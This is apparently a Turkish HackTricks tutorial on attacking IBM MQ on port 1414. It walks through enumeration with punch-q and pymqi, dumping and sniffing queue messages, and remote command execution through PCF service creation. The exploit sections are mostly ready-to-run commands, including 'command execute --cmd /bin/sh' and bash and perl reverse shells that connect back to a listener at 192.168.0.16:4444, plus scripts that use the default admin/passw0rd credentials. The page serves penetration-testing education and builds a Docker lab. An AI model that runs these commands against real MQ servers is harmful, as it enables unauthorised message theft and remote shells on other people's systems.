1414 - Pentesting IBM MQ

Reading time: 10 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel bilgiler

IBM MQ, mesaj kuyruklarını yönetmek için bir IBM teknolojisidir. Diğer mesaj aracısı teknolojileri gibi, üreticiler ve tüketiciler arasında bilgi almak, depolamak, işlemek ve sınıflandırmak için tasarlanmıştır.

Varsayılan olarak, IBM MQ TCP port 1414'ü açar. Bazen, HTTP REST API 9443 portunda açılabilir. Metrikler (Prometheus) ayrıca TCP port 9157 üzerinden erişilebilir.

IBM MQ TCP port 1414, mesajları, kuyrukları, kanalları manipüle etmek için kullanılabilir, ... ama aynı zamanda örneği kontrol etmek için de kullanılabilir.

IBM, https://www.ibm.com/docs/en/ibm-mq adresinde geniş bir teknik dokümantasyon sunmaktadır.

Araçlar

Kolay sömürü için önerilen bir araç punch-q, Docker kullanımı ile. Araç, Python kütüphanesi pymqi'yi aktif olarak kullanmaktadır.

Daha manuel bir yaklaşım için, Python kütüphanesi pymqi'yi kullanın. IBM MQ bağımlılıkları gereklidir.

pymqi Kurulumu

IBM MQ bağımlılıkları yüklenmeli ve yüklenmelidir:

  1. https://login.ibm.com/ adresinde bir hesap (IBMid) oluşturun.
  2. IBM MQ kütüphanelerini https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc adresinden indirin. Linux x86_64 için 9.0.0.4-IBM-MQC-LinuxX64.tar.gz'dir.
  3. Sıkıştırmayı açın (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Lisans şartlarını kabul etmek için sudo ./mqlicense.sh komutunu çalıştırın.

Eğer Kali Linux kullanıyorsanız, mqlicense.sh dosyasını değiştirin: aşağıdaki satırları kaldırın/yorumlayın (105-110. satırlar arasında):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. Bu paketleri yükleyin:
bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Ardından, geçici olarak .so dosyalarını LD'ye ekleyin: export LD_LIBRARY_PATH=/opt/mqm/lib64, diğer araçları bu bağımlılıkları kullanarak çalıştırmadan önce.

Sonra, projeyi pymqi klonlayabilirsiniz: ilginç kod parçacıkları, sabitler vb. içerir... Ya da kütüphaneyi doğrudan şu komutla kurabilirsiniz: pip install pymqi.

punch-q Kullanımı

Docker ile

Basitçe şunu kullanın: sudo docker run --rm -ti leonjza/punch-q.

Docker olmadan

Projeyi punch-q klonlayın ve ardından kurulum için readme'yi takip edin (pip install -r requirements.txt && python3 setup.py install).

Sonrasında, punch-q komutuyla kullanılabilir.

Sayım

Queue manager adı, kullanıcılar, kanallar ve kuyruklar üzerinde punch-q veya pymqi ile sayım yapmayı deneyebilirsiniz.

Queue Manager

Bazen, Queue Manager adını elde etmeye karşı bir koruma yoktur:

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Kanallar

punch-q, mevcut kanalları bulmak için dahili (değiştirilebilir) bir kelime listesi kullanıyor. Kullanım örneği:

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Bazı IBM MQ örneklerinin kimlik doğrulaması yapılmamış MQ isteklerini kabul ettiği durumlar vardır, bu nedenle --username / --password gerekli değildir. Elbette, erişim hakları da değişiklik gösterebilir.

Bir kanal adını (burada: DEV.ADMIN.SVRCONN) aldığımız anda, diğer tüm kanalları listeleyebiliriz.

Listeleme, temelde pymqi'den bu kod parçası code/examples/dis_channels.py ile yapılabilir:

python
import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... Ama punch-q bu kısmı da (daha fazla bilgi ile!) içerir. Şu şekilde başlatılabilir:

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Kuyruklar

pymqi ile bir kod parçası vardır (dis_queues.py) ancak punch-q kuyruklar hakkında daha fazla bilgi almayı sağlar:

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump mesajları

Queue(lar)/channel(lar) hedef alarak onlardan mesajları dinleyebilir / dökebilirsiniz (yıkıcı olmayan işlem). Örnekler:

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Tespit edilen tüm kuyruklar üzerinde iterasyona girmekten çekinmeyin.

Kod yürütme

Devam etmeden önce bazı detaylar: IBM MQ, birden fazla yol ile kontrol edilebilir: MQSC, PCF, Kontrol Komutu. Genel listeler IBM MQ belgelerinde bulunabilir. PCF (Programlanabilir Komut Formatları) ile uzaktan etkileşimde bulunmak için odaklandığımız konudur. punch-q ve ayrıca pymqi PCF etkileşimlerine dayanmaktadır.

PCF komutlarının bir listesini bulabilirsiniz:

İlginç bir komut MQCMD_CREATE_SERVICE ve belgeleri burada mevcuttur. Bir StartCommand argümanı alır ve bu, örneğin, bir yerel programı işaret eder (örnek: /bin/sh).

Belgelerde komutla ilgili bir uyarı da bulunmaktadır: "Dikkat: Bu komut, bir kullanıcının mqm yetkisi ile rastgele bir komut çalıştırmasına izin verir. Bu komutu kullanma hakkı verilirse, kötü niyetli veya dikkatsiz bir kullanıcı, sistemlerinize veya verilerinize zarar verecek bir hizmet tanımlayabilir, örneğin, gerekli dosyaları silerek."

Not: her zaman IBM MQ belgelerine (Yönetim Referansı) göre, hizmet oluşturma için eşdeğer MQSC komutunu çalıştırmak üzere /admin/action/qmgr/{qmgrName}/mqsc adresinde bir HTTP uç noktası da bulunmaktadır (DEFINE SERVICE). Bu konu burada henüz ele alınmamıştır.

PCF ile uzaktan program yürütme için hizmet oluşturma / silme punch-q ile yapılabilir:

Örnek 1

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQ günlüklerinde, komutun başarıyla yürütüldüğünü okuyabilirsiniz:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Ayrıca, makinedeki mevcut programları sayabilirsiniz (burada /bin/doesnotexist ... mevcut değildir):

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Programın başlatılmasının asenkron olduğunu unutmayın. Bu nedenle, istismarı kullanmak için ikinci bir öğeye ihtiyacınız var. (ters shell için dinleyici, farklı hizmette dosya oluşturma, ağ üzerinden veri sızdırma ...)

Örnek 2

Kolay ters shell için, punch-q ayrıca iki ters shell yükü önerir:

  • Biri bash ile
  • Biri perl ile

Elbette execute komutuyla özel bir tane oluşturabilirsiniz.

Bash için:

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Perl için:

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Özel PCF

IBM MQ belgelerine göz atabilir ve punch-q'da uygulanmamış belirli bir PCF komutunu test etmek için doğrudan pymqi python kütüphanesini kullanabilirsiniz.

Örnek:

python
import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Eğer sabit isimlerini bulamıyorsanız, IBM MQ belgelerine başvurabilirsiniz.

_MQCMD_REFRESH_CLUSTER için örnek (Onaltılık = 73). MQCA_CLUSTER_NAME (Onaltılık = 2029) parametresine ihtiyaç duyar, bu _ olabilir (Dok: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Hata")
else:
    print(response)

qmgr.disconnect()

Test ortamı

IBM MQ davranışını ve istismarlarını test etmek istiyorsanız, Docker tabanlı bir yerel ortam kurabilirsiniz:

  1. ibm.com ve cloud.ibm.com üzerinde bir hesabınızın olması.
  2. Aşağıdaki ile konteynerleştirilmiş bir IBM MQ oluşturun:
bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

Varsayılan olarak, kimlik doğrulama etkinleştirilmiştir, kullanıcı adı admin ve şifre passw0rd (Ortam değişkeni MQ_ADMIN_PASSWORD). Burada, kuyruk yöneticisi adı MYQUEUEMGR (değişken MQ_QMGR_NAME) olarak ayarlanmıştır.

IBM MQ'nun çalışır durumda olması ve portlarının açık olması gerekir:

bash
❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ docker görüntülerinin eski versiyonları şurada bulunmaktadır: https://hub.docker.com/r/ibmcom/mq/.

Referanslar